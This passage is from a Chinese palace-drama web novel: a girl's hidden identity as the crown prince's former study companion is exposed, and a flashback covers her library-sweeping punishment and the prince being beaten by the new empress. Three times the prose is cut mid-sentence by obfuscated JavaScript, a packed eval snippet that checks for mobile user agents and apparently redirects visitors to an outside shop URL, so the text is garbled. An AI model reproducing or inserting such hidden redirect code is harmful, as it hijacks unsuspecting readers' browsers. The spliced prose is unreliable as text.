花蕊望见叶天芯来了,她连忙向叶天芯展示手中能弹出花来的小纸盒子,开心道:“看!这是云天女侠做好之后送给我的能弹出花来的小纸盒子!有意思吧?” 叶天芯从来没见过能弹出花来的小纸盒子,立马也被惊到了,忍不住道:“有趣!好有意思!” 然而,姜景和在看到能弹出花来的小纸盒子时瞳孔骤然一缩,严肃道:“这是云天女侠做的?” 乔天璇道:“怎么了?” 姜景和当即仔细打量起了乔天璇,从头到脚,似乎连一根头发丝他都不愿放过。 突然,姜景和死死盯着乔天璇的眼睛,猛地凑近了乔天璇的脸。 “姜景和!”陈渊龙带着警告意味的喊声忽地在后方响起。 随之传来的是陈渊龙步向书案这边的声音。 姜景和浑身一僵,终于离乔天璇的脸远了一些,口中却试探似的唤道:“乔天飞?乔天璇?乔大小姐?” 仍旧被姜景和揽在怀中的叶天芯有些不知所措。 跟在叶天芯身旁的妇人也是不明所以。 花蕊和祝源疑惑地看着姜景和。 洛侠不安地看向了乔天璇。 陈渊龙快步走到了姜景和身旁,在见到花蕊手中能弹出花来的小纸盒子时,眼神忽地一滞。 “又是这个能弹出东西来吓人的小纸盒子,你的手工果然还是跟从前一样厉害,淮南乔氏大小姐乔天璇。” 说着,陈渊龙的目光从能弹出花来的小纸盒子上移到了乔天璇的脸上。 乔天璇只觉自己的脑子在一瞬间炸了开来。 不好!不好!!! 乔天璇飞速地从记忆中找到了自己小时候用能弹出死蜘蛛的小纸盒子吓唬当年还只有八岁的陈渊龙的事情,顿时生出一阵深深的无力感。 要不是陈渊龙方才说的那句话提醒了她,她都已经不记得还有这件事情了。 当时她可是把能弹出死蜘蛛的小纸盒子展示在了皇家学堂中所有学子的面前,陈渊龙和姜景和都是近距离亲眼见到的! “这个……很多人都会做啊?对吧?我只是三侠行客的云天女侠,不是你们口中的乔天璇,别认错人了,哈哈……”乔天璇尬尴地笑了笑。 陈渊龙黑眸一沉,走近了乔天璇。 “自打我出生以来就只见过一个人会做这种手工,便是你,曾经被迫顶替了弟弟乔天飞入宫给我当伴读的你。你既是云天,也是乔天璇,而你之所以姓‘洛’,我猜是因为你师父救了你,而你又为了隐藏你其实是淮南乔氏大小姐的真实身份,所以便跟着你师父姓‘洛’了。”陈渊龙看向了洛侠,道:“当年那个在朔风国救了乔天璇的蒙面人就是你吧?洛兄。” “……” 洛侠一言不发。 “看来我说对了。”陈渊龙又看向了乔天璇,眼神复杂道:“天璇,我不会认错你的。” 此刻,所有人的目光都集中在了乔天璇的身上。既有花蕊和祝源不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025620|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置信的眼神,也有洛侠无奈的眼神,还有叶天芯和妇人惊诧的眼神,更有姜景和恍然大悟的眼神。 乔天璇被这些眼神团团包围,避无可避。 窗外大雨如注,稀里哗啦乱七八糟的雨声似极了乔天璇这一刻的心情。 “……你没有死!我就知道你没有死!太好了!太好了!!!”姜景和突然激动不已。 “我?”乔天璇一时还没反应过来。 姜景和激动道:“对啊!就是你啊!淮南乔氏大小姐!五年前,整个九宸国到处传的都是你已经死在朔风国了的消息,可我不信!一个女扮男装这么厉害,能力完全不输给男子的女子本身就是比男子要厉害很多倍的人!怎会轻易死掉?!肯定是消息有误!” 乔天璇完全没料到姜景和会坚信自己没死,不由得微微一愣,下意识道:“我可是犯了欺君之罪的人啊。” 姜景和看了一眼陈渊龙,道:“刚刚太子殿下不是才说过你是被迫顶替了弟弟乔天飞入宫给他当伴读的嘛?既然是被迫,那你肯定也是身不由己的。身不由己犯下欺君之罪,错不在你。” “……” 不知为何,听着姜景和说的话,乔天璇感觉自己的眼眶越来越酸,好像有一股温热的暖流就要从眼中不受控制地涌出来了。 “他说得对,错不在你。”陈渊龙注视着发愣的乔天璇,语气坚定。 “……” 乔天璇的泪终于控制不住落了下来。 为何会哭? 乔天璇不知道。 但她知道的是除了陈渊龙以外,还有一个人在听到无数铺天盖地关于她已身死的消息之后仍然坚信她没死,相信她还活着。 姜景和,这个昔日坐在自己后排的同窗,由于他的座位在自己的正后方,自己的目光许是最少注意到他的。而正是因为姜景和的座位在自己的正后方,所以姜景和上课时一抬头看到的第一个人便是乔天璇。 坐在自己前排的同窗的死讯于姜景和而言就如晴天霹雳。 更何况这个前排的同窗对姜景和来说还是个特别有意思的家伙。 当年姜景和实在是好奇乔天璇明明都已经完成了给太子的书阁洒扫半年的惩罚了,可陈渊龙身为太子,居然不讲道理地冷着脸让乔天璇在接下来给他伴读的日子里下学后继续给他洒扫书阁。这到底是为什么啊?难道陈渊龙的心眼如此之小?还记恨着半年前被乔天璇用死蜘蛛吓了他一跳那件小事吗? 而当姜景和向坐在他前排的乔天璇问起这件事时,乔天璇若无其事地将她把陈渊龙种在书阁后院的小雏菊摘了之后又插在了睡着之后的陈渊龙头上这件事给说了出来,还自嘲了一下托自己手欠的福,自己在接下来给陈渊龙伴读的日子里下学后不单止要继续给陈渊龙洒扫书阁,还要给陈渊龙种在后院的小雏菊浇水。 听到这样的原因,姜景和忍不住想象了一下一脸冷漠的太子陈渊龙头上被插满小雏菊的画面,不禁笑出了声。 “真有你的啊乔天飞!”姜景和怎么都想不到居然能在太子陈渊龙的身上发生这样的事情。 乔天璇无奈道:“一次手痒,一次冲动,换来的是无穷无尽的洒扫浇花惩罚,真烦人。” 这会儿刚下学,乔天璇蔫巴在了自己位置上,一动也不想动。 “没事儿,洒扫和浇花的时间比起白天上学的时间要少多了,很快就过去了!”姜景和转身步向了皇家学堂的门口。 乔天璇没声好气道:“快你个大头鬼!被惩罚时可不会感觉到时间过得很快!” “哈哈哈哈哈……那你自己多多保重吧!”姜景和最后安慰了乔天璇一句便离开了。 大家下学之后都回去了,可自己还得留下来帮太子洒扫书阁、浇花,乔天璇的心情十分郁闷。 “走,乔天飞。”陈渊龙从第一排的位置来到了第三排的乔天璇身旁,黑着一张脸示意她跟自己去一起书阁。 “哦。”乔天璇没辙,有气无力地应了陈渊龙一声。 46. 书阁惩罚(二) 来到了太子的书阁后,乔天璇熟练地拿起簸箕和笤帚洒扫起来。 明明昨日是接受惩罚的最后一日,按理来说今天就是乔天璇不必再来书阁洒扫的第一日。可由于手欠,今天变成了她接受新一轮惩罚的第一日,而且这一次的惩罚时间会一直持续到她给太子伴完读为止。 乔天璇偏头瞅了一眼在书阁的书案前看书的陈渊龙,心中不禁暗骂了他好几句。 与此同时,乔天璇洒扫时将怒气灌注到了笤帚上,一副在用笤帚与灰尘决斗的架势。 可陈渊龙就像是没有发觉乔天璇的动作似的,仍旧安安静静地看他的书。 乔天璇从第一层洒扫到第三层,又从第三层下到第一层,从窗户翻出去给书阁后院的小雏菊浇水。 说到浇水一事,乔天璇觉得陈渊龙想得还挺周到,居然让人搬了一个小水缸到书阁后院放着。 水缸里面已经装满了水,乔天璇只需用木桶从水缸里面舀水来浇花就行,于她而言倒是不必费多少力气。 浇完了花,乔天璇带着一脸“这种惩罚一点儿都不累”的表情来到了陈渊龙跟前,照例让他检查自己的洒扫和浇花是否合格。 陈渊龙放下了手中的书,跟之前一样带着乔天璇从第一层检查到第三层,又从第三层下到第一层。 当然,现在还多了一项对小雏菊的检查。 陈渊龙自然不会像乔天璇那样从窗户翻到后院。 如此一来,乔天璇就得跟着陈渊龙先从前门走出去,再一路绕到后院。 乔天璇走在陈渊龙的身后,每一刻都在幻想着自己一拳朝走在前面的陈渊龙脑袋锤去的画面。 但乔天璇明白自己要是真的这么干了,自己的小命也玩完了。 她可不能就这么无聊的死了,而且还是死在陈渊龙这种人身上,想都别想! 随着天越来越冷,花期逐渐过去,小雏菊暂时不再开花了。乔天璇给小雏菊浇水的活儿变成了给泥地浇水,她不由得浇得随意了起来。 反正陈渊龙对着没有花的泥地也检查不出个所以然来。 乔天璇每次见到陈渊龙面无表情地看着眼前被水浸湿的泥地时,她心中都不禁暗暗嘲笑道:“无能为力的太子,有心无力的太子。” 而唯一让乔天璇丝毫不担心的地方就是陈渊龙从来都没觉得她的洒扫和浇花有做得不合他意的时候。 只要乔天璇让陈渊龙去检查,她就一定能过关。 这也让乔天璇每回都能在天彻底黑下来之前离开书阁。 有一回,乔天璇离开前回头看了一眼即将被黑夜笼罩的书阁,见陈渊龙正看着她离去的背影,一双死气沉沉的黑眸没有一丝情绪可言。 乔天璇忍不住道:“喂,太子殿下,你一直臭着一张脸会变丑的。” 陈渊龙:“……” “算了,你变丑也不关我的事。”乔天璇感觉自己多说了陈渊龙这么一嘴后心情舒畅了不少。 她转回头继续往前走,脑子里猜想着丫鬟清涟今晚会给自己做什么吃的当晚饭。 鉴于陈渊龙没有回自己的话,乔天璇在之后的日子里再也没在离开书阁时回头看过陈渊龙。 虽说现在的她要接受的惩罚得一直持续到她给太子伴读的时间结束为止,但这同时也意味着在某种意义上惩罚期限不复存在了。乔天璇即使表现得再好,在给太子伴读期间的她也等不到惩罚结束的那一天。 因此,乔天璇感觉自己就算表现得再肆无忌惮一些似乎也无所谓了。反正无论怎样,到最后她都得在太子的书阁中洒扫浇花。 可乔天璇才不想让陈渊龙觉得她只是个省心省力好掌控的扫地浇花人! 再说了,如果能够令陈渊龙极度厌恶自己到他不愿再与自己多待一刻的程度,陈渊龙或许就会嫌弃地让自己不必再去他的书阁。那自己在书阁中关于洒扫和浇花的惩罚自然也就没有了。 于是,为了让陈渊龙对自己的印象更加差劲,乔天璇在课间与其他世家长子玩闹得更凶了。 她不忘初心,依旧特意在陈渊龙所坐位置的窗外边与众世家长子玩闹。 荀韫大概是对转扇子这事儿情有独钟,最开始时,荀韫的扇子只能在自己手中转。但现在,荀韫已经练会了将手上的扇子抛出去绕着自己飞一圈再回到自己手上的转法。他在课间骄傲地向众世家长子展示了他对扇子的新转法,赢得一片被他的转扇技术所折服的惊呼声。 陈渊龙被惊呼声惊扰到,不由得看了一眼窗外的众世家长子。 恰好这时的荀韫为了获得更强烈的惊呼声,他毫不犹豫地把手中的扇子又抛出去绕着自己飞了一圈。 扇子自然再次回到了荀韫手上,众世家长子也如荀韫所愿,对他的惊呼声更大了。 “嘿,荀韫的手可真灵活!”绪飞尘双手交叉抱着自己的双臂,难得没有居高临下看人,而是好奇地探头去观察荀韫转扇子的那只手。 “厉害啊荀韫!你这都快赶得上杂耍了!”戚世才盘着手中的两个核桃,佩服地看着荀韫转扇子的那只手。 “不错不错,有意思。”尤远生甩着腰间玉佩缀着的穗子,微微歪头看着荀韫。 段无言蹦跶道:“若是能将扇子改成武器可就不得了了!” 姜景和对着段无言打了一个响指,神神秘秘道:“江湖中还真就有这样的武器。” 乔天璇倒是能想象得出来姜景和说的那种武器长什么样。她笑道:“荀韫转扇子如此厉害,若是扇子被改成武器之后我们可就都得小心提防着荀韫了。” “哈哈哈哈哈哈我可不会伤害我的同窗!就算我把扇子改成了武器,也会用来保护若是不幸遇上了危险的大家啊!”荀韫很满意大家对他的夸赞,高兴得满面红光。 陈渊龙对此并无任何表示,继续低头看他的书。 乔天璇自然注意到了陈渊龙的表现,她灵机一动,对荀韫道:“荀韫,你既然这么会转扇子,那你会跳扇子舞吗?” “扇子舞?这个……我不会。”荀韫有些为难。 “我会我会!”姜景和兴奋道:“我跟我家的舞女偷学过一点扇子舞!” “真的啊?”众世家长子一同惊讶地望向了姜景和。 “当然了!”姜景和十分自豪。 “来,扇子给你,跳一段?”荀韫把扇子递给了将景和,满眼期待。 “跳一段!跳一段!跳一段!跳一段!”众世家长子齐声催促着接过了扇子的姜景和。 乔天璇瞟了一眼陈渊龙,见他满脸无奈和烦闷,心中不禁窃喜。 她就是要想办法带动大家一起吵吵闹闹的,越吵越好,让陈渊龙不得片刻安宁。如此,陈渊龙定会愈发厌恶她。 姜景和见大家如此期待自己跳舞,他立马拿着荀韫的扇子在空地上有模有样地舞了起来。 不得不说,姜景和还真有点舞艺在身,跳得的确不错。 “好!好!跳得好!!!” 众世家长子欢呼大叫。 盘着核桃的戚世才对着姜景和吹起了口哨。 段无言和尤远生情不自禁地对姜景和鼓掌。 绪飞尘看着跳扇子舞的姜景和,眼睛越瞪越大。 乔天璇为了给陈渊龙多制造一些噪音,她顺着姜景和跳的舞步用脚跺起了拍子,以脚为棒,以地为鼓,仿佛是在敲鼓点一般。 姜景和跳得起劲,衣带翩跹,竟是舞出了几分女子的感觉。 “哇!姜景和,这么一看,你也是个美人儿啊!只可惜你没有穿女装,要不然还能更妖娆一点。”荀韫饶有兴致地端详着姜景和。 听到荀韫这话,姜景和差点儿没把脚给崴了,连忙停下了舞步。 “哈哈哈哈哈哈美人儿!姜大美人儿哈哈哈哈哈哈哈……”戚世才笑得前呼后仰。 “的确是美人儿。”绪飞尘点头表示肯定。 “漂亮漂亮。”乔天璇也忍不住赞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025621|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹。 “姜大公子没投女胎真是可惜了哟!”尤远生把腰间玉佩缀着的穗子越甩越快。 “可惜什么?尤远生,我问你在可惜什么啊?!”姜景和几步凑到尤远生的面前,眼中似有怒意,几乎都要与尤远生脸贴脸了。 尤远生一瞬间没有反应过来,他看着近在咫尺的姜景和,不知所措地眨了眨眼。 “当啷当啷当啷当啷当啷……” 上课的铃声突然被敲响了。 “上课!对,上课了!”尤远生赶紧往学堂的大门跑去。 “别忘了我可是和你坐同一排的!”姜景和连忙去追尤远生。 “我的扇子!”荀韫慌忙去追姜景和。 “我的天呐,这可太有意思了。”戚世才像是不愿错过这场好戏似的,立马跟上了前面的三人。 乔天璇又瞟了一眼陈渊龙,见陈渊龙已经被吵得太阳穴处青筋暴起。 很好,太子殿下,你不是喜欢安安静静地看书吗?我偏不让你如愿,就看你到什么时候会把我厌恶到极致。 乔天璇自从被再次惩罚之后就对“与陈渊龙作对”一事产生了极大的兴趣。 若是陈渊龙能主动让她不必再去书阁洒扫和浇花,提前结束对她的惩罚,乔天璇觉得自己兴许会消停一些。 然而,乔天璇就这么一直闹腾了四年都没能令陈渊龙嫌弃地让她不必再去书阁洒扫和浇花。 可恶! 实在是可恶! 乔天璇满心不悦。 陈渊龙看起来脾气不咋地,但实则耐心好得可怕。 乔天璇颓废地盯着端坐在书阁的书案前认真看书的陈渊龙,手中被自己灌注了怒气的笤帚依旧在与灰尘决斗。 四年了,乔天璇今年也十岁了。 姑姐乔悦儿教乔天璇的变声方法于乔天璇而言易如反掌,乔天璇如今早已习惯用小男孩的声音来说话。直至今日,宫中仍旧没人发现乔天璇其实是女儿身。 还有一年就到太子从给他伴读的世家长子中选择两名伴读为他的终身伴读的时候了,乔天璇对此事可一点儿也不期待。 毕竟乔天璇模仿不了成年男子的声音,若是被太子莫名其妙选中,当了他的终身伴读,那就意味着如果不扮作娘娘腔,她铁定会被发现是女儿身! 欺君之罪乃是死罪,乔天璇现在还不想死。 但在乔天璇所担心的事情还未到来之前,另一个突发事件便先让乔天璇吃了一惊。 皇后崩,皇上宠爱二皇子陈玄的母亲潘氏,将其立为了新的皇后。太子陈渊龙由于失去了母亲,他在皇上那儿也跟着失宠了。 二皇子陈玄本就对太子陈渊龙有很大的敌意,现在他的母亲成了新的皇后,他似是想把陈渊龙的太子身份也给夺去。 皇家学堂中,大家照常上着课,陈玄居然大摇大摆地走进学堂,径直来到了陈渊龙的身旁。 众世家长子一同望向了陈渊龙与陈玄。 乔天璇带着看热闹的心情也看向了这两人。 先生明白陈玄的身份,也清楚陈渊龙现在的处境,他并没有破口大骂让陈玄出去,只是小心翼翼地问了陈玄一句:“二皇子?您怎么来了?” “不关你事。”陈玄烦躁地瞥了先生一眼。 陈玄虽然才十二岁,但他那看垃圾的眼神当即令先生感到浑身不自在,却又不敢直接对着陈玄发作。 皇上立新的皇后可是大事,九宸国无人不知无人不晓。大家自然知道现在的陈玄子凭母贵,全然不把陈渊龙这个失去了母亲的皇兄放在眼里,更不把宫中除了他父母以外的所有人放在眼里。 但陈渊龙毕竟当了十二年的太子,太子该有的气势他一点儿也不少。 他端坐在书案前,并不抬头看陈玄,严肃而淡漠道:“陈玄,何事?” 陈玄不可一世地看着陈渊龙,高傲道:“我想坐坐你的位置,皇兄,我是你弟弟,你会让我的,对吧?” 47. 书阁惩罚(三) 听了陈玄说的话,所有人都暗暗倒吸了一口凉气。 这二皇子也太狂太不把太子放在眼里了! 然而,陈渊龙并没有生气,反而淡淡道:“陈玄,方才先生提问我《邹忌讽齐王纳谏》中的齐威王若是没有听邹忌的劝谏,齐国会有什么样的后果,你知道吗?” “我……劝谏?后果?这都是些什么啊?我听不懂!”陈玄不耐烦地一巴掌拍在了陈渊龙的书案上,发出“砰”的重重一声。 陈渊龙仍旧没有看陈玄一眼,继续道:“既然你连为兄说的是什么都不知道,那你还怎么好意思想要坐到为兄的位置上?” “我就好意思了!怎样?!”陈玄气急败坏地弯下腰,把头伸到陈渊龙的面前,强行让陈渊龙看着他。 陈渊龙与陈玄对视的目光冷漠至极,他语气冰冷道:“陈玄,既然你想坐在为兄这个位置上,那你就得先把你该看的书都给看了,把你该学的东西都给学透。不要整日无所事事,当一个可怜可笑一问三不知的文盲。” “死书虫!闭上你的臭嘴!”陈玄猛地抬起一巴掌,作势要挥到陈渊龙的脸上。 陈渊龙不惊不畏,一点儿要躲开的意思都没有。 陈玄执意要与陈渊龙对视,陈渊龙便与陈玄对视,丝毫不惧眼前的人。 所有人紧盯着陈渊龙和陈玄,大气都不敢出。 陈玄那看似就要一巴掌挥到陈渊龙脸上的手停在了空中,迟迟未落下。 说到底,陈渊龙身为太子,现在的他就是比陈玄的身份要高。在气场上,陈玄就是比不过陈渊龙。 故意找茬一般去打一个身份比自己高,气场比自己强的人,而这个身份比自己高,气场比自己强的人既不反击也不躲避,只是面无表情地看着自己,不学无术的陈玄对此感到愈发心虚。 寂静片刻后,陈玄烦闷地“啧”了一声,放下了作势要打陈渊龙一巴掌的手,不情不愿地直起身子,不再凑在陈渊龙的面前与他对视。 “小气皇兄,小气龙!”陈玄丢下这句话后逃也似的离开了皇家学堂。 陈渊龙:“……” 乔天璇似乎隐约听见了陈玄吸鼻子的声音,想来许是陈玄快要被陈渊龙给气哭了。 所有人像是看了一场无理取闹的闹剧一样,一时间都不知该说些什么才好。 方才先生自然是没有提问陈渊龙关于“《邹忌讽齐王纳谏》中的齐威王若是没有听邹忌的劝谏,齐国会有什么后果”的问题。但陈渊龙既然提到了,先生便顺势问道:“不知太子殿下觉得《邹忌讽齐王纳谏》中的齐威王若是没有听邹忌的劝谏,齐国会有什么样的后果呢?” 陈渊龙看向了先生,不紧不慢道:“若齐威王没有听邹忌的劝谏,齐威王就听不到人们对他的真实看法和真正有用的建议,齐国也将延续一直以来闭塞的决策环境,官僚体系极其可能腐败加剧,无法及时对失误的政策进行纠正,更无法让齐国对周边的国家形成威慑力,甚至会沦为燕、赵、韩、魏等国的附庸,一败涂地。” “说得好,不愧是太子殿下。”先生满意地对陈渊龙点了点头。 在座的世家长子都不由得松了一口气,并对陈渊龙投去赞赏和敬佩的目光。 乔天璇手肘抵着书案,手掌撑着脸看着陈渊龙的背影,心觉如此看来还是得陈渊龙来当太子才行。 太子将来是要继承皇位的,如果太子是个可怜可笑的文盲,那就意味着未来的皇上是个可怜可笑的文盲,不懂治国之道,国家就准备好随时灭亡吧。 下学后,乔天璇依旧跟着陈渊龙一起去了书阁。 洒扫和浇花的活儿乔天璇早已干得麻木和熟练。 书阁天天被她洒扫,根本脏不到哪里去,她很快就洒扫完了三层书阁,准备翻窗去书阁后院给泥地浇水。 正当乔天璇准备拿起木桶往水缸中舀水时,她猛然察觉到缸中的水飘散出了一股难闻的臭味。 “这味道……是有什么东西死在水缸里面了吗?”乔天璇皱眉怀疑着,仔细往水缸中望去。 水缸是黑色的,这也让水缸最里面的情况不易让人看清。 但乔天璇还是看到了这水缸中沉着的几只死老鼠尸体。 “呕……” 乔天璇差点没吐出来。 这几只沉在水底的死老鼠尸体全都被开膛破肚,内脏飘在外面,红红黑黑的一大片。 这样的水还怎么能拿来浇花?! 乔天璇赶紧翻窗回了书阁中,飞也似的跑到了陈渊龙的面前,道:“太子殿下,不好了,水缸中被人投放了老鼠尸体,而且还是被开膛破肚的好几只!” “什么?!”陈渊龙猛地抬头看向了乔天璇,满眼不可置信。 乔天璇火上浇油道:“现在那水缸中的水臭得都没法用来浇花!这还是其次的,最重要的是泡死老鼠的水也太不干净了!万一那几只死老鼠还有鼠疫可就大事不妙了!” 陈渊龙当即起身出门,一路绕到了书阁后院的水缸旁。 水缸中的臭水飘散出的味道让陈渊龙忍不住深深地皱起了眉头。 他往水缸中仔细望去,果然看到了乔天璇所说的那几只被开膛破肚了的死老鼠。 “算了,今日你不必浇水了,回去吧。”陈渊龙转头看了一眼跟在他身后的乔天璇。 “好!”乔天璇巴不得早点离开书阁,立马转身就走。 翌日,乔天璇见陈渊龙的额头上缠了一圈白色的绷带,心中不禁好奇他到底是怎么受的伤。 与陈渊龙都坐在第一排的戚世才在上课前小心翼翼地关心道:“太子殿下,您没事吧?” 陈渊龙一脸平静道:“没事。” “那就好。”戚世才没再追问伤的事情,生怕自己一个不小心把陈渊龙给问恼火了。 但乔天璇可不像戚世才那样顾忌多。 下学后,乔天璇在书阁中扫洒到陈渊龙身旁的位置时像是跟陈渊龙闲聊一般道:“太子殿下,到底是谁这么能耐,居然能伤得到你啊?” 陈渊龙正在书案前看着书,忽然听到乔天璇这么问,他抬眼瞟了乔天璇一眼,道:“这不是你需要关心的事情。” 乔天璇想到近来与陈渊龙的关系愈发恶劣的陈玄,她阴阳怪气地猜测道:“不会是你的那个弟弟……哦,二皇子,不会是他伤了你吧?” “……” 书阁中一片死寂。 “看来我猜对了。”乔天璇语气中带着一丝幸灾乐祸。 陈渊龙再次抬眼看向了乔天璇,严肃道:“闭嘴,安静。” 乔天璇故作疑惑道:“聊聊这种事情怎么了?太子殿下?” 陈渊龙道:“这种事情没必要聊。” 乔天璇道:“好好好,那我们聊点别的。” 陈渊龙道:“不必。” 乔天璇一点儿没把陈渊龙说的“不必”二字放在心上,接着道:“看来昨日水缸中被投死老鼠的事情跟二皇子有关啊?是二皇子投的死老鼠?还是二皇子派人来投的死老鼠?” 陈渊龙闭上了双眼,无可奈何道:“是又如何?” 乔天璇刨根问底道:“是?是哪个?是二皇子投的死老鼠?还是二皇子派人来投的死老鼠?” 陈渊龙缓缓睁开了双眼,沉声道:“是他本人。好了,闭嘴。” “哦,这样啊……”乔天璇大概能想象得出昨日陈渊龙查出来投放死老鼠的人是陈玄后便去找了陈玄讨说法。陈玄可能认罪了,也可能没认。但现在的陈玄有他的皇后母亲给他撑腰,用“狗仗人势”来形容他再合适不过。陈渊龙肯定在陈玄那儿吃亏了,更有甚陈玄会反咬陈渊龙一口,说陈渊龙污蔑他,要让陈渊龙受罚。或者是皇后看不惯陈渊龙,气急败坏之下拿东西扔陈渊龙,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之后的日子里,陈渊龙就像是被人盯上了打似的,众人经常见到陈渊龙受伤。 他不是额头缠绷带,就是手上缠绷带,有时候腿上也会缠绷带。可谁也没在明面上问陈渊龙到底是怎么受的伤,顶多只是像戚世才那样问他一嘴:“太子殿下,您没事吧?” 对此,陈渊龙都会以“没事”二字来回应所有人。 可任谁都清楚,总是受伤的陈渊龙怎么可能会没事?! 尤其是在所有的世家长子中与陈渊龙待在一起时间最长的乔天璇,她明白陈渊龙不过是极度能忍罢了。 不久之后,乔天璇偶然从宫女的口中听到传闻,据说是皇后早就看陈渊龙这个太子不顺眼了,将其视为眼中钉、肉中刺,可又碍于陈渊龙的太子身份,不能直接将其杀了,便经常通过自己的儿子陈玄来从陈渊龙身上找麻烦,强找理由来打罚陈渊龙。 皇上极度宠爱他新立的皇后潘氏,根本不管皇后对陈渊龙的恶意打罚,并将这事儿说成是皇后对陈渊龙恨铁不成钢的教导。 对此,陈渊龙孤立无援,只能默默承受。唯有太医和给太子更衣的宫女知道陈渊龙受的伤根本就不是被普通打罚打出来的。 皇后对陈渊龙的打罚完全可以用毒打来形容,乔天璇有时候都能感觉得到陈渊龙的身子在微微颤抖。 想都不用想,那定然是他被伤口疼得颤抖。 坐在乔天璇后排的姜景和看着今日额头又缠上了白色绷带的陈渊龙,终于忍不住小声嘀咕道:“太子殿下最近怎么总是受伤?难不成是练武练过头了?” 闻言,乔天璇心中无奈地感叹着姜景和想法的天真。 此时正在上课,乔天璇不好回头与姜景和讲,便将想说的话写在了一张纸上,揉成一团后从地上悄悄滚到了姜景和的脚边。 48. 书阁惩罚(四) 姜景和打开纸团,看到上面写着“皇后打的”四个字后,登时一惊。 不一会儿,乔天璇就感觉到自己的脚边多了一个纸团。 她立马明白这是姜景和滚给自己的纸团,里面肯定有姜景和所写的话。 果然,乔天璇拿起纸团一打开就看到上面写着“真的假的”四个字。 乔天璇再次写了一个纸团滚给了后排的姜景和。 姜景和早就等不及了,他连忙打开纸团,在看到“我听宫女说的,千真万确”这句话时眼睛都瞪圆了。 片刻后,乔天璇捡起姜景和滚给自己的纸团打开,看到上面写着字体饱含了惊恐之意的“有个后母真可怕”七个字。 光是看字,乔天璇都能想象得出姜景和不安的神情。 毕竟陈渊龙的遭遇可是明晃晃地摆在大家的眼前。 课间时,乔天璇虽然依旧在陈渊龙所坐位置的窗外边与众世家长子玩闹,但她比起往日要消停了许多,并没有在每一个课间都带着众世家长子一起大吵大闹,故意让陈渊龙一直不得安宁。 书阁中,乔天璇刚开始第一层的洒扫时,她看着在书案前身残志坚认真看书的陈渊龙,不由得赞同陈玄说陈渊龙是“死书虫”。 都已经这样了,还不多去休息? 但转念一想,乔天璇就能明白陈渊龙其实是因为不放心她一个人在书阁中洒扫和浇花,怕她不认真干,所以才要亲自守在书阁中监督她,哪怕他已经浑身上下都是被皇后毒打后留下的伤。 “咳咳……咳咳……呕——!” 陈渊龙突然咳出一口血来,染红了他捂嘴的手。 几滴血从指缝间洒落到了书上,陈渊龙当即把书移到一边,抬头对乔天璇道:“乔大公子,麻烦你,出门右拐去隔壁的院子,那里有听令于我的宫女,你让她们去给我请太医过来!” 乔天璇心中虽然想让陈渊龙去死,但当她真的看到一个额头、手上都缠了白色绷带的人突然咳嗽吐血,才十岁的她终究是有些慌了。 “好!”乔天璇连忙转身要出门去,却见此时书阁外面的院子门口处站着一个熟悉的身影。 二皇子陈玄! “二皇子?”乔天璇不禁唤出了那人的身份。 陈玄这次依然是一个人来的。 他大步走入院子,一路走到了书阁的门口,看到了拿着簸箕和笤帚怔然望着他的乔天璇和后面的书案前坐着咳血的陈渊龙。 “哎呀呀呀呀呀呀皇兄,真没想到你变得这么虚弱了,受内伤了吗?居然咳血了啊?”陈玄落井下石的语气里透着一股乔天璇莫名厌恶的高傲感。 乔天璇脑海里回味着这种厌恶的感觉,忽然想起了那位夺了自己母亲乔家夫人位置的萧芯荷。 没错,差不多就是这种感觉。乔天璇一时间还没想明白自己到底是怎么从陈玄的身上感受到了萧芯荷的那种感觉的。但这种感觉对乔天璇来说难受至极,她心中想要让其去死的人忽地又多了一个陈玄。 陈渊龙冷冰冰道:“陈玄,我之前明明跟你说过下次想找我比剑时不许在这个时间来,你是没脑子记吗?” 陈玄先是一愣,随即翘嘴笑道:“呀?皇兄都已经这样了,还想着比剑的事呢?放心,弟弟我可不是来找皇兄比剑的。我只是想来看看我亲爱的皇兄情况如何了,没想到居然变成了这个样子,真是可怜可怜好可怜。” “滚。”陈渊龙一双黑眸死气沉沉地盯着陈玄。 陈玄步至乔天璇身前,粗略打量了乔天璇一番,道:“皇兄居然敢放心让一个世家大公子来给你洒扫书阁?世家大公子可是堪比那些十指不沾阳春水的娇美人儿,能干得好洒扫的活儿吗?” 陈渊龙毫不客气道:“陈玄,收起你那刻板浅薄的看人印象,乔大公子干得很好,书阁被他洒扫得很干净。” “是嘛?这倒真是我见识少了。”陈玄站在乔天璇的面前,探头看向了陈渊龙,像是在嘲讽他一般道:“皇兄,你方才对乔大公子说的话我都听到了,真是可怜啊,堂堂太子需要求助于一个世家大公子。但你也别想着让你的宫女去请太医过来了,我的母后已经把太医都支到了我们的父皇那儿。父皇的身子最近也不太好啊,太医全都在父皇那儿忙活,谁会有闲心来管你这个不受宠的可怜小太子?” “咳咳……咳呕……” 陈渊龙又咳嗽了起来。 